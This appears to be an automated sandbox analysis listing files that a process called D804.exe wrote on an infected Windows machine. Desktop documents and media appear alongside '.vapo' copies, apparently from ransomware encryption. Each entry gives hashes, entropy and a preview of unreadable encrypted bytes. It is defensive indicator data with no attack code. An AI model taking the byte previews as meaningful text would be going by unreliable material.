SHA-256:	D736145CED5866BAE90ECBF713EFCE19C02D59CA26B8D407FFE3623C88F206CE
SHA-512:	C9BC75173739AD97EFA1C2A2D4ACAF15C32E8CBFC037879E009221B77530EE72EFC8079D8C17F1D2A04EB98B0D77A98B157E8F0B893F025D0939226EE40B1F1B
Malicious:	false
Reputation:	unknown
Preview:	NIRME.>.....#.D....W....j.s...:.d...T.].....Ll..1...'M(b,......Ap<H_.E........W'.5n.T..w..Qn.F../m-9.Z."X:..S..e.'.....cyg.'...-t...=(..5.USaefE.... .D_....!d...?....v....g_.X.z'....E7.?d.Vxp......{X...~..C.k.t..GjG.U._.j.;(..B..x......l3S.Lq.y.51.^.....M....I..4...A ..5..l..W.6....NU.'F-`..!.@..@...z4.".c.AK...B.5.<7C.w....%.0l..h.......C......2.. `Q...K-../r ]A~..n....O...)...'.T.bK.....O.o...Y......l.._..lsB..._.\4+......\|..D...S..p2R........M\|.D..Q...Y<<riw.W..)...^.c.B.e.R..F].v...d.....e2@'.{m...3zxK..h.[.\u.5~.fQ..6`.7...\|O.D\|..8P.W.n.S......lJ...A.C(.^..."e.?...l........)...v.,...d....... !.S.gZ......A'.N..>..Z...^+.Q....=C.y.w......Lj}Y8..R..o....\|.F..~.f&nOyx}.Dj.m...C.=Q....Oy^j..&dL~....N...b^t...a.....H/..f8....5.X.4WN...cl.DZ..>b...J......i.GIy...I.........h.eqrs.0OQ..K.>.....k...gS"iH.cVy.'...~.w.l./q....oY...f.~.[..BP...;..qg..%n...._j..Fu?..!%y....~.~. $..]i......YA...J..._...R.k.*../......)p"&..."..e....UM.v...>.:)D

C:\Users\user\Desktop\NWCXBPIUYI.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842703177113634
Encrypted:	false
SSDEEP:	24:qQlSqZumfsFFQ5m9ISa1KHn4yTxBipZHdw6PeOZ0+vUwRfj22y3PPNiD+bD:8eya5m9Ip1GcZHi6PRZ0CUwEX/Pg4D
MD5:	123F0D7F8FDA4C330F13BCBCDCE293E7
SHA1:	816D9D563924295FEE5C25ACA2892779547A8FB8
SHA-256:	5C004B45D4B5A7ED7C584251CC39D5A1D6ACB353E6CC70455670CF7212F521DA
SHA-512:	168792C40BFA9AEC2E725F42786DEB6D63AA75E0146915225C61ECA033A8A975A721B345C1D7CB6F3E7BDEB1B9DEC99FE1B1037DB39FB0A6E6A0CF8075450AF1
Malicious:	false
Reputation:	unknown
Preview:	NWCXB.8dE.'....@.D>..]Z.W^i....v..T..c..9.DV......?...f'c..8SJ?!......t.r=).hiQ...u.5L]R.8..9.Y6A....$q...nFqF...>..8@{:....nA7dP..r..G...#W.e..sQ.E.+.....k+..\|4..........h.5:V._..6((.......!M...2.PK.<..3..@u..j.....rLGP..x.........#....Ce7.CH.d~..\|U7.....1...%.VP(x...N2...$x9.sh..r[....s..QT1......P....: .fL.....\|w..EN.F..X.4Q..C..?........UX..3.H.#P.2@._...$~.......wU..p...-"B....).5...[K.6...~.).... .gi.^d.?y..0.....K.......K!.#..H.\|....>\|...3..S.L..f.<..y.........X...2..-r3...".wR8R..:.nDo......0.h&bn..&...q.N.=..^D.@.?.+.k..........hl.D.F.?.w.,gt.'.Nm..0P.PX.\...r.....S8...._..4....T3.Kkp....J...Au0..a#.2..Y.1~.q.P..\|[..l\..U.@...8x...E\..."r..n.b..2....mx.j.q.kt......9Xi..L.\V.l.p....Z?E.KH...........1...9..\|Z.HHm........^.=.0......u.7.mP...;"G0.=5.z.#....o.y...l....o...5...%.IiU...6Y>......p:..y...'..kW.....`...e.9>...S..>G.O.....G.tR.!....G.._....n.#..h%.\.~..)d.v..Cn%.....O..5.......I'>\..<...^.Sg.S...V=.*...HAC.i...Px...._

C:\Users\user\Desktop\NWCXBPIUYI.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842703177113634
Encrypted:	false
SSDEEP:	24:qQlSqZumfsFFQ5m9ISa1KHn4yTxBipZHdw6PeOZ0+vUwRfj22y3PPNiD+bD:8eya5m9Ip1GcZHi6PRZ0CUwEX/Pg4D
MD5:	123F0D7F8FDA4C330F13BCBCDCE293E7
SHA1:	816D9D563924295FEE5C25ACA2892779547A8FB8
SHA-256:	5C004B45D4B5A7ED7C584251CC39D5A1D6ACB353E6CC70455670CF7212F521DA
SHA-512:	168792C40BFA9AEC2E725F42786DEB6D63AA75E0146915225C61ECA033A8A975A721B345C1D7CB6F3E7BDEB1B9DEC99FE1B1037DB39FB0A6E6A0CF8075450AF1
Malicious:	false
Reputation:	unknown
Preview:	NWCXB.8dE.'....@.D>..]Z.W^i....v..T..c..9.DV......?...f'c..8SJ?!......t.r=).hiQ...u.5L]R.8..9.Y6A....$q...nFqF...>..8@{:....nA7dP..r..G...#W.e..sQ.E.+.....k+..\|4..........h.5:V._..6((.......!M...2.PK.<..3..@u..j.....rLGP..x.........#....Ce7.CH.d~..\|U7.....1...%.VP(x...N2...$x9.sh..r[....s..QT1......P....: .fL.....\|w..EN.F..X.4Q..C..?........UX..3.H.#P.2@._...$~.......wU..p...-"B....).5...[K.6...~.).... .gi.^d.?y..0.....K.......K!.#..H.\|....>\|...3..S.L..f.<..y.........X...2..-r3...".wR8R..:.nDo......0.h&bn..&...q.N.=..^D.@.?.+.k..........hl.D.F.?.w.,gt.'.Nm..0P.PX.\...r.....S8...._..4....T3.Kkp....J...Au0..a#.2..Y.1~.q.P..\|[..l\..U.@...8x...E\..."r..n.b..2....mx.j.q.kt......9Xi..L.\V.l.p....Z?E.KH...........1...9..\|Z.HHm........^.=.0......u.7.mP...;"G0.=5.z.#....o.y...l....o...5...%.IiU...6Y>......p:..y...'..kW.....`...e.9>...S..>G.O.....G.tR.!....G.._....n.#..h%.\.~..)d.v..Cn%.....O..5.......I'>\..<...^.Sg.S...V=.*...HAC.i...Px...._

C:\Users\user\Desktop\NWCXBPIUYI.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854984596398809
Encrypted:	false
SSDEEP:	24:yTxPUzSY0b8l3TI3xw6GdTIUng4Ddu+9UDPCVLhfc+fgRuK0RiiJbD:yTx18lavGJVvjVeCUZipD
MD5:	825A99CBA581683E404E1970A0A48F86
SHA1:	7D0BAFA8DB1E473A9A90FEA96DB7447E356B8ADE
SHA-256:	EF8BC7DD80C7C3B3F7AC5428CF060D22E0E6227A48F21DFCD60B5ACE5FD3D70A
SHA-512:	D6C5E490835E7766425AB005734A3CE8E1D17565B19D58638F1466D6D9369A91F594BE1283BC05A31B34B185F8884DFCEF2F08898A1D99E21F88B799F5D13B83
Malicious:	true
Reputation:	unknown
Preview:	NWCXBp.8.z.....-.d._!.....@..#X.."......Y..U.......cM.x~.s..T.H........Q$4..9.w~.k.....x..^5...j.%..S.o..]...1..f.M....3...U.F.A.4.?..7..uO..s`.}.@{+...e......7<..&oY#r...r...z.\.=.G.q......B...r.....)A.L.V...q.9:..\..X....tC.U.....}....m....%..F..\...X...T.S..V..2....Z..W.......7.IV...;.....QQ.~..k^.dl.,(@r...`Lg...}.{....x.S..)f.....l......I..,.....BI.f........\.....W...?...U!/e...2....v&S.\........x....b{.@...d.[..{.....eX.r..A.{...l....#r.....%.t...L.-..._.c.N.`...noT=a..dEg.Q......\.....y{..c.C.O... 5.u....P.Qg........\|.H.c....,.h:..w`I...G.0 .[...1L.....a..[.V+.).;.a~..V0dG..N.....!..A..C]!.....,.h.yG8Y.$..`\|.).%..< .?..YP..<..P.J.&gR..#.\|..t......5.}..[^u....D d.].fF....`Pk.}..8:..d3=.<.....H...t.8.P..u....U...)8p....N.6.pk..xV...H.).=..5eg.B...t..t............9.'.......?+.....e....y8G..@.R.H..t..I.i.._...3...-I...Y....!...c0.9Uf.D._..u..5.xd..?...SJ........=..u....W.:\|.&.!.7.M..5.....W..hX..J~.-.O%..}..p".b

C:\Users\user\Desktop\NWCXBPIUYI.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854984596398809
Encrypted:	false
SSDEEP:	24:yTxPUzSY0b8l3TI3xw6GdTIUng4Ddu+9UDPCVLhfc+fgRuK0RiiJbD:yTx18lavGJVvjVeCUZipD
MD5:	825A99CBA581683E404E1970A0A48F86
SHA1:	7D0BAFA8DB1E473A9A90FEA96DB7447E356B8ADE
SHA-256:	EF8BC7DD80C7C3B3F7AC5428CF060D22E0E6227A48F21DFCD60B5ACE5FD3D70A
SHA-512:	D6C5E490835E7766425AB005734A3CE8E1D17565B19D58638F1466D6D9369A91F594BE1283BC05A31B34B185F8884DFCEF2F08898A1D99E21F88B799F5D13B83
Malicious:	false
Reputation:	unknown
Preview:	NWCXBp.8.z.....-.d._!.....@..#X.."......Y..U.......cM.x~.s..T.H........Q$4..9.w~.k.....x..^5...j.%..S.o..]...1..f.M....3...U.F.A.4.?..7..uO..s`.}.@{+...e......7<..&oY#r...r...z.\.=.G.q......B...r.....)A.L.V...q.9:..\..X....tC.U.....}....m....%..F..\...X...T.S..V..2....Z..W.......7.IV...;.....QQ.~..k^.dl.,(@r...`Lg...}.{....x.S..)f.....l......I..,.....BI.f........\.....W...?...U!/e...2....v&S.\........x....b{.@...d.[..{.....eX.r..A.{...l....#r.....%.t...L.-..._.c.N.`...noT=a..dEg.Q......\.....y{..c.C.O... 5.u....P.Qg........\|.H.c....,.h:..w`I...G.0 .[...1L.....a..[.V+.).;.a~..V0dG..N.....!..A..C]!.....,.h.yG8Y.$..`\|.).%..< .?..YP..<..P.J.&gR..#.\|..t......5.}..[^u....D d.].fF....`Pk.}..8:..d3=.<.....H...t.8.P..u....U...)8p....N.6.pk..xV...H.).=..5eg.B...t..t............9.'.......?+.....e....y8G..@.R.H..t..I.i.._...3...-I...Y....!...c0.9Uf.D._..u..5.xd..?...SJ........=..u....W.:\|.&.!.7.M..5.....W..hX..J~.-.O%..}..p".b

C:\Users\user\Desktop\NWCXBPIUYI.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846175115409487
Encrypted:	false
SSDEEP:	24:lJ1s6FO4IhT59YFZJFCvHl9rmSau3px71HUKZ1ewzf2S9HE6qI4kbD:lxUfT59oEPFxVZ11D2S26qtuD
MD5:	52168A390BE9F15F0FDF13FD6DA0F234
SHA1:	F348551065FA5C19A9B1FAC115BF4BE5CC6C581F
SHA-256:	E399FC4C7FEF398449FF76137BBEFE0CD8132384A9B35E3ECE6BB95F1BA46ACC
SHA-512:	9A687ADA5FAA256DE1590290D8EE6DC9FDD3558B7FF7759FD703A6BAFF0D098843C76069A4A08389DB7C4F75B8C84201B47337354E47666CBD798D914621595D
Malicious:	false
Reputation:	unknown
Preview:	NWCXB..]..&..:..lM.....f0.,1oi...u.-..o..b.... .F.eQ...m`+2.H...Q.&......0V.A..-..G....q.6.UsP....j\.2.[...Z....;Z^5..H......g.9.!.4`.....TE.).0.F..q.>..l..!X.^.-....$::.=>.!.0 ....o..9...T...f.^.5...).7.T...K.J.#[)......M.-e......c.:....4P.7..j8...!...7oE.]V8....5./.H)m.Y6.....w..I..Z(!.bu..Gh...l.U.....#....L&..m...`B.....p...L.............)..0.w....E$"..F?.,~.....a.....<.......F.."U..=......E.>.75W.'-5...c...B..[...2.;,..K..gRJKf...<..3...I.z.H.f..2b...\|.I.P.(P1.............UZ.GP.1!..kJ...h...t6..q..C&.H...+..)...1n...i....R....N....S......:.Y......Fn...@..+.....x.SD.t....s...J..S./0j'.R)6..N..v...@......N..............\\G....3.5<.....^p......!hms.........4....M}F.OT....D.(N .P+xR.v]..?..@!.d.MTK...35@...H~'.G/....N?.w...$...o..4.qF....r...n..%.51..L.nL.x.\.k...Se..]@.N.]C..sQ..^8!..^M.~s!.I.#%R..H'.I..$....h.;.n\..?XG..p..t...G...(.....#.t`._..R.....P.;...._.;M.b..A.p(.I.2.'....H....{l.T ...T.Q.W."=.y.^.....I.....S8..#...8.N

C:\Users\user\Desktop\NWCXBPIUYI.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846175115409487
Encrypted:	false
SSDEEP:	24:lJ1s6FO4IhT59YFZJFCvHl9rmSau3px71HUKZ1ewzf2S9HE6qI4kbD:lxUfT59oEPFxVZ11D2S26qtuD
MD5:	52168A390BE9F15F0FDF13FD6DA0F234
SHA1:	F348551065FA5C19A9B1FAC115BF4BE5CC6C581F
SHA-256:	E399FC4C7FEF398449FF76137BBEFE0CD8132384A9B35E3ECE6BB95F1BA46ACC
SHA-512:	9A687ADA5FAA256DE1590290D8EE6DC9FDD3558B7FF7759FD703A6BAFF0D098843C76069A4A08389DB7C4F75B8C84201B47337354E47666CBD798D914621595D
Malicious:	false
Reputation:	unknown
Preview:	NWCXB..]..&..:..lM.....f0.,1oi...u.-..o..b.... .F.eQ...m`+2.H...Q.&......0V.A..-..G....q.6.UsP....j\.2.[...Z....;Z^5..H......g.9.!.4`.....TE.).0.F..q.>..l..!X.^.-....$::.=>.!.0 ....o..9...T...f.^.5...).7.T...K.J.#[)......M.-e......c.:....4P.7..j8...!...7oE.]V8....5./.H)m.Y6.....w..I..Z(!.bu..Gh...l.U.....#....L&..m...`B.....p...L.............)..0.w....E$"..F?.,~.....a.....<.......F.."U..=......E.>.75W.'-5...c...B..[...2.;,..K..gRJKf...<..3...I.z.H.f..2b...\|.I.P.(P1.............UZ.GP.1!..kJ...h...t6..q..C&.H...+..)...1n...i....R....N....S......:.Y......Fn...@..+.....x.SD.t....s...J..S./0j'.R)6..N..v...@......N..............\\G....3.5<.....^p......!hms.........4....M}F.OT....D.(N .P+xR.v]..?..@!.d.MTK...35@...H~'.G/....N?.w...$...o..4.qF....r...n..%.51..L.nL.x.\.k...Se..]@.N.]C..sQ..^8!..^M.~s!.I.#%R..H'.I..$....h.;.n\..?XG..p..t...G...(.....#.t`._..R.....P.;...._.;M.b..A.p(.I.2.'....H....{l.T ...T.Q.W."=.y.^.....I.....S8..#...8.N

C:\Users\user\Desktop\NWCXBPIUYI\GNLQNHOLWB.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830156468353167
Encrypted:	false
SSDEEP:	24:Zq8/aexzesYprL3xfH6M/x1ZtUL6RKy0Wxwmd8Aw9Qgc+R3b+ma9a9A/Gc9ynb5Z:ZnxDYpfBfH6CDZtu0xwqplE3NCHucUnL
MD5:	B9FB8915A21878EC12E2E6178E37039F
SHA1:	E4431363E4DFC3D46842DCDA0A1CE0838CD7CDD1
SHA-256:	A70EBE43C464C5571B5624D6D80EF71865924301445B813F6DCF82C860AA79DC
SHA-512:	16A58C5AE14863AA01B18606D1699E4D652FA634A6188C8D2B51D14300E5A0AABC4DE9D738CBF509E9197390BD127EEC52893D432152D451871C7333A848A4B8
Malicious:	false
Reputation:	unknown
Preview:	GNLQN...(..]v^.dL..P}{..7 ..y.7./..~.L0h.^/v.#.Xu.[.%!^......A..f1... o.w.....Y..E7..x.ob..!..O...c....PW.s..$.+s./.>z..L..f....`<=..y..>......9.T..A.j.iIx.;..YJ..v..o.r.^f.=D.. o.....`..j..c.r[..b{..-.3x..YLg..p.e.l.h:..w...?.!~.w.....FS.....(.U..0...%..x..B.`.e6.....W...".Cy....F...Z,.z.#..1..P.lr.5..,..3...Mv...#....^.......Y...0.I.$.......Bc.....0....1.?.fJ6h...%{7c...=......3eB(W.(.J..<....2G.QfMDY.....mw..}..^.].U.. .T%..LH.5\N3....qYNr2........G.`...A...L.n.;.....:o...q....[f.W@FA>u0.....a...d.L.I.1..}.f.......2r.-=.4.K@(.TBD.dBA......$S...N.......L....Nr..I..].....W.t.'T{......~.A.......jG...`~7.....w.L.[.{x..a..0........a..h...0B.7\...Zh.s.Ul^......Y......;.``..p..q.:Xf~...t..nQ....."...;G_B.@m..J.....Y...j..U.E#..rX....2$...F......K.OP.....F......K......vwfr.W.C...r..\P.(q...r...C.L..n.~#....3Sb..~....u..a_9..n...>y.CFA..,.\|M.....8.oN.6x.Hj..;?y.j.lt.{.sR.v.1..G..7a...F...7....O)...y6....2......wP...#..q%.3....I}X-...K...@4..

C:\Users\user\Desktop\NWCXBPIUYI\GNLQNHOLWB.mp3.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830156468353167
Encrypted:	false
SSDEEP:	24:Zq8/aexzesYprL3xfH6M/x1ZtUL6RKy0Wxwmd8Aw9Qgc+R3b+ma9a9A/Gc9ynb5Z:ZnxDYpfBfH6CDZtu0xwqplE3NCHucUnL
MD5:	B9FB8915A21878EC12E2E6178E37039F
SHA1:	E4431363E4DFC3D46842DCDA0A1CE0838CD7CDD1
SHA-256:	A70EBE43C464C5571B5624D6D80EF71865924301445B813F6DCF82C860AA79DC
SHA-512:	16A58C5AE14863AA01B18606D1699E4D652FA634A6188C8D2B51D14300E5A0AABC4DE9D738CBF509E9197390BD127EEC52893D432152D451871C7333A848A4B8
Malicious:	false
Reputation:	unknown
Preview:	GNLQN...(..]v^.dL..P}{..7 ..y.7./..~.L0h.^/v.#.Xu.[.%!^......A..f1... o.w.....Y..E7..x.ob..!..O...c....PW.s..$.+s./.>z..L..f....`<=..y..>......9.T..A.j.iIx.;..YJ..v..o.r.^f.=D.. o.....`..j..c.r[..b{..-.3x..YLg..p.e.l.h:..w...?.!~.w.....FS.....(.U..0...%..x..B.`.e6.....W...".Cy....F...Z,.z.#..1..P.lr.5..,..3...Mv...#....^.......Y...0.I.$.......Bc.....0....1.?.fJ6h...%{7c...=......3eB(W.(.J..<....2G.QfMDY.....mw..}..^.].U.. .T%..LH.5\N3....qYNr2........G.`...A...L.n.;.....:o...q....[f.W@FA>u0.....a...d.L.I.1..}.f.......2r.-=.4.K@(.TBD.dBA......$S...N.......L....Nr..I..].....W.t.'T{......~.A.......jG...`~7.....w.L.[.{x..a..0........a..h...0B.7\...Zh.s.Ul^......Y......;.``..p..q.:Xf~...t..nQ....."...;G_B.@m..J.....Y...j..U.E#..rX....2$...F......K.OP.....F......K......vwfr.W.C...r..\P.(q...r...C.L..n.~#....3Sb..~....u..a_9..n...>y.CFA..,.\|M.....8.oN.6x.Hj..;?y.j.lt.{.sR.v.1..G..7a...F...7....O)...y6....2......wP...#..q%.3....I}X-...K...@4..

C:\Users\user\Desktop\NWCXBPIUYI\HQJBRDYKDE.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853154102635187
Encrypted:	false
SSDEEP:	24:xnXYe/nMwVEw5g9YbY45fk1+lyxpjD02QXedOq7zRGmBehZbD:RXFhja9M5fk1dxJD02wSOyzRBOD
MD5:	9CF13F65E6CEB7AB2CA4DA18B9823A45
SHA1:	22BEF8E81CD11E6ED8EAAE5E109D60BF84A79A29
SHA-256:	C35AC8003A04CC9633C2EA91EC00B58A714654ED1C90E8C741FC62F3AE129367
SHA-512:	632C93D7FCAB56590663E064139582E4DF6EB0F63221B0C3A24F035321E12EFFAB6F1AB3B91EBAACD5BB6C188DF15BBCAAE0F54A7267BDFBD6FF37ADBDE32934
Malicious:	false
Reputation:	unknown
Preview:	HQJBR..%.R..)..u..s_we...~<.rw..Jl.pL.H..."'G.QB...U...s.y............r1.)+....5..m..R...r..H?.....V../q.-..S....f.@..D.l......}.N....a....1s....:.Xo.&[..E..5...4.#.R...Y.............la(1Q...6..?4.\"q....F5. /.........'.I...a..p0QM..~..^.x.S?......YB....z.^J.......T....l..r_i....8.;..0.u\|.yO......O.......d...[H.M.......W![..Bx..].....8..#...vj....b.R......&q#....c$..c....,.pe....M6j...,....L...R....;.(+.U..o(n...&....?\|8.W\|.y.y............>We..D.ie..y....../../...Sj....^.}....Iy.@m. .Q..m....jf\|...!....s...D.....T..q.e.t,].....E:a..[.........r..$C...z...{B.Y...KT...h...kN7.7...e..0/.p`.a?....AU.gh.....n....,...........:?...8PV..........)q......7.Q\.bo.....`...E.\O<...e.#.......g...Sp...\|$B..w...x.\.^.JhI...x......sx.y`......X..e..]...xv..=...M;..#.C..Qu......'.`=%U{.]...;...S.>7.PK.'.....W...W......),..........n]R.n%.........Z...^..d.P..9.76\|g.;C..nW.i...2.f...~...........uNRP2.`J.s.).Ez.z+....x..i....B......,L..j.MMzN......

C:\Users\user\Desktop\NWCXBPIUYI\HQJBRDYKDE.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853154102635187
Encrypted:	false
SSDEEP:	24:xnXYe/nMwVEw5g9YbY45fk1+lyxpjD02QXedOq7zRGmBehZbD:RXFhja9M5fk1dxJD02wSOyzRBOD
MD5:	9CF13F65E6CEB7AB2CA4DA18B9823A45
SHA1:	22BEF8E81CD11E6ED8EAAE5E109D60BF84A79A29
SHA-256:	C35AC8003A04CC9633C2EA91EC00B58A714654ED1C90E8C741FC62F3AE129367
SHA-512:	632C93D7FCAB56590663E064139582E4DF6EB0F63221B0C3A24F035321E12EFFAB6F1AB3B91EBAACD5BB6C188DF15BBCAAE0F54A7267BDFBD6FF37ADBDE32934
Malicious:	false
Reputation:	unknown
Preview:	HQJBR..%.R..)..u..s_we...~<.rw..Jl.pL.H..."'G.QB...U...s.y............r1.)+....5..m..R...r..H?.....V../q.-..S....f.@..D.l......}.N....a....1s....:.Xo.&[..E..5...4.#.R...Y.............la(1Q...6..?4.\"q....F5. /.........'.I...a..p0QM..~..^.x.S?......YB....z.^J.......T....l..r_i....8.;..0.u\|.yO......O.......d...[H.M.......W![..Bx..].....8..#...vj....b.R......&q#....c$..c....,.pe....M6j...,....L...R....;.(+.U..o(n...&....?\|8.W\|.y.y............>We..D.ie..y....../../...Sj....^.}....Iy.@m. .Q..m....jf\|...!....s...D.....T..q.e.t,].....E:a..[.........r..$C...z...{B.Y...KT...h...kN7.7...e..0/.p`.a?....AU.gh.....n....,...........:?...8PV..........)q......7.Q\.bo.....`...E.\O<...e.#.......g...Sp...\|$B..w...x.\.^.JhI...x......sx.y`......X..e..]...xv..=...M;..#.C..Qu......'.`=%U{.]...;...S.>7.PK.'.....W...W......),..........n]R.n%.........Z...^..d.P..9.76\|g.;C..nW.i...2.f...~...........uNRP2.`J.s.).Ez.z+....x..i....B......,L..j.MMzN......

C:\Users\user\Desktop\NWCXBPIUYI\LFOPODGVOH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8415920865244875
Encrypted:	false
SSDEEP:	24:iANa1v72aDtBcmwj2VB0+5rhwuDjQyeoSTTGKtVxAzHglPSmm1+KtGmXA500QLLE:Ez+mAy0+5rhzQNoEyH2SAKtFp+D
MD5:	EE5298F528E0AFC74547427578148D46
SHA1:	CD2C62F5526AF2035B419F5F3C95B8DC8BFE06A1
SHA-256:	82A3B2856D207872DB2E978AD1EE1C92108FAE28FFE5FC708E68A77B37356C74
SHA-512:	319FE328B82F31CF5618D4EB5716494FE6330F33E937E7BD36F391B9BC75E6F73329F152503CB38FD79E3CA5D3CD058B78AB22B47155BECBC911814960EEEC4C
Malicious:	false
Reputation:	unknown
Preview:	LFOPO..;....$...v.y..F.!..[.F4.,..U`.U.[.AA.g\|......p..;.c.M..w.......Ju...y.4.9..a....'n.9.....0..".'.Mt[...!...O.9.Z...q.&.2v&.&.+o......B.k`{.tV...... y.z;..9Z.{{.G...,)P.g7.-Y30..p......F{(.j0?.c...<.1..z..e.../A..}.2...."........O.>._2...i....."_(.X.0{_k-l.m;.k.^...2....{.....M..4.IV\|K.Q..}...`...u...q.`..A8u8.uB..~.y@<..I.y..{4...."...X.Q...r.v...d....C.V...A.b..&\|.&...]q..^1.}......S...+d..BiCw..7..~......e.-.^....(...@v^iC6..D.0..O..-qr...x.&.....t..8.....T.Bu}.yD...!R..:..E]...$.)y..b%...p.mV..dj..I..!-....J.... ..}.......VB...$J.F/.O..y..Dyl......3d.....t..R.W...!1.x.L.G.F.9.......3@&..z(.....zu..j.....o.....e1.-.F..B\|..;g.........R.......vR...s.....?C5.n.-]..!..+...K._..M.\2;X........L.k.....].BA...:.........b..X...$F.%....5..1..../.....>`.......r..r...7.K. ,.....J...B;.. .!....u.;..C8.Wj.....E..{e......l.RY...Z...E..>j$f...t.w..S...\|...9.....zk.....{.N..Y0}(P]rN$..6=)m2.k?..L....D.....2QB..G..+...x..<.....~..R.Hr.w...

C:\Users\user\Desktop\NWCXBPIUYI\LFOPODGVOH.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8415920865244875
Encrypted:	false
SSDEEP:	24:iANa1v72aDtBcmwj2VB0+5rhwuDjQyeoSTTGKtVxAzHglPSmm1+KtGmXA500QLLE:Ez+mAy0+5rhzQNoEyH2SAKtFp+D
MD5:	EE5298F528E0AFC74547427578148D46
SHA1:	CD2C62F5526AF2035B419F5F3C95B8DC8BFE06A1
SHA-256:	82A3B2856D207872DB2E978AD1EE1C92108FAE28FFE5FC708E68A77B37356C74
SHA-512:	319FE328B82F31CF5618D4EB5716494FE6330F33E937E7BD36F391B9BC75E6F73329F152503CB38FD79E3CA5D3CD058B78AB22B47155BECBC911814960EEEC4C
Malicious:	false
Reputation:	unknown
Preview:	LFOPO..;....$...v.y..F.!..[.F4.,..U`.U.[.AA.g\|......p..;.c.M..w.......Ju...y.4.9..a....'n.9.....0..".'.Mt[...!...O.9.Z...q.&.2v&.&.+o......B.k`{.tV...... y.z;..9Z.{{.G...,)P.g7.-Y30..p......F{(.j0?.c...<.1..z..e.../A..}.2...."........O.>._2...i....."_(.X.0{_k-l.m;.k.^...2....{.....M..4.IV\|K.Q..}...`...u...q.`..A8u8.uB..~.y@<..I.y..{4...."...X.Q...r.v...d....C.V...A.b..&\|.&...]q..^1.}......S...+d..BiCw..7..~......e.-.^....(...@v^iC6..D.0..O..-qr...x.&.....t..8.....T.Bu}.yD...!R..:..E]...$.)y..b%...p.mV..dj..I..!-....J.... ..}.......VB...$J.F/.O..y..Dyl......3d.....t..R.W...!1.x.L.G.F.9.......3@&..z(.....zu..j.....o.....e1.-.F..B\|..;g.........R.......vR...s.....?C5.n.-]..!..+...K._..M.\2;X........L.k.....].BA...:.........b..X...$F.%....5..1..../.....>`.......r..r...7.K. ,.....J...B;.. .!....u.;..C8.Wj.....E..{e......l.RY...Z...E..>j$f...t.w..S...\|...9.....zk.....{.N..Y0}(P]rN$..6=)m2.k?..L....D.....2QB..G..+...x..<.....~..R.Hr.w...

C:\Users\user\Desktop\NWCXBPIUYI\NIRMEKAMZH.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854371994441411
Encrypted:	false
SSDEEP:	24:/d1ypAFWQE6SY1zuPr4JFUEDuFNYXh3IE5PeLFD19TKGKXw+4GWtbD:/Ahquj4EEx3IE9sX9PKXwjD
MD5:	59E6F12298E86A5D464973BB57A1B977
SHA1:	D7870AC283858D8F169F8D035D72956873F510CE
SHA-256:	2039D2D15E2959D71988CECA903D523304E8B479E93ADA451742184B217DB4AC
SHA-512:	B97A4C2B74F5AC8C3BCE5C060CD8B05123DED00018A370145DBB20139D9109F1E0EF348A6081636B00774284420E9ED90ACBD2FE8DF5AE7722C4E91ED9D5E5B0
Malicious:	false
Reputation:	unknown
Preview:	NIRMEn....0.........../=....;,'W<.&..<=../.H.ge..q.O..UT.{..c....W...4.....s..,F.........Y....e...u.m..$l1V..oM.6.._.t.2.<....HQ.+..Q.. {Y{K.v.c..;\|../JCq..er..>b..x..0V....\.#.!..bD.'....,... ......j./..i......$)dJ..d.\|.WQ..+.lp...Pt3.&.Q..$.7.5..&..=..l!+....._%.u.....2.q.Q.%n1..i._.t.^....z.}.`. ...r..dxCm.a.(....\{.r..f..\|...-..5.....V.T...W\..ys...F..2.^..?1..<.G1C3T46.vY`q..$.....2...&.MS....<w.......J.~.O.(H.A ....y... i:..R...-...L.4..$..}.D....mi........'...t..2.oN O8.sj5.[:D>...8....F.[...)...0'5AE1.!;E:...................}.5.w.&........&x...Pq..u.b...#g.W,A....);r\|:...g.1..H....N[.v5.%i..9@.h5I.....6.m7....h..x.g..x\...[...xDT.....m).>o.L$..S....s...u....W.gH...o.#$....!..{.O.iG.<.xN...?....Z.y..$d..]r.:y...GC........g...Q...;.T...D.gT3J.i.{.O..q.r.........l._..@...O....a....bhf.zlOs.....k..z.W...=.Z;&H....F........o.t.....G.c.iSP."...clLNO1..:.U4.....6?....X7@.x%.U8p.....TW..9[a.C.h..........-JO...mOo.EZ....#e..G.p.~&N......

C:\Users\user\Desktop\NWCXBPIUYI\NIRMEKAMZH.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854371994441411
Encrypted:	false
SSDEEP:	24:/d1ypAFWQE6SY1zuPr4JFUEDuFNYXh3IE5PeLFD19TKGKXw+4GWtbD:/Ahquj4EEx3IE9sX9PKXwjD
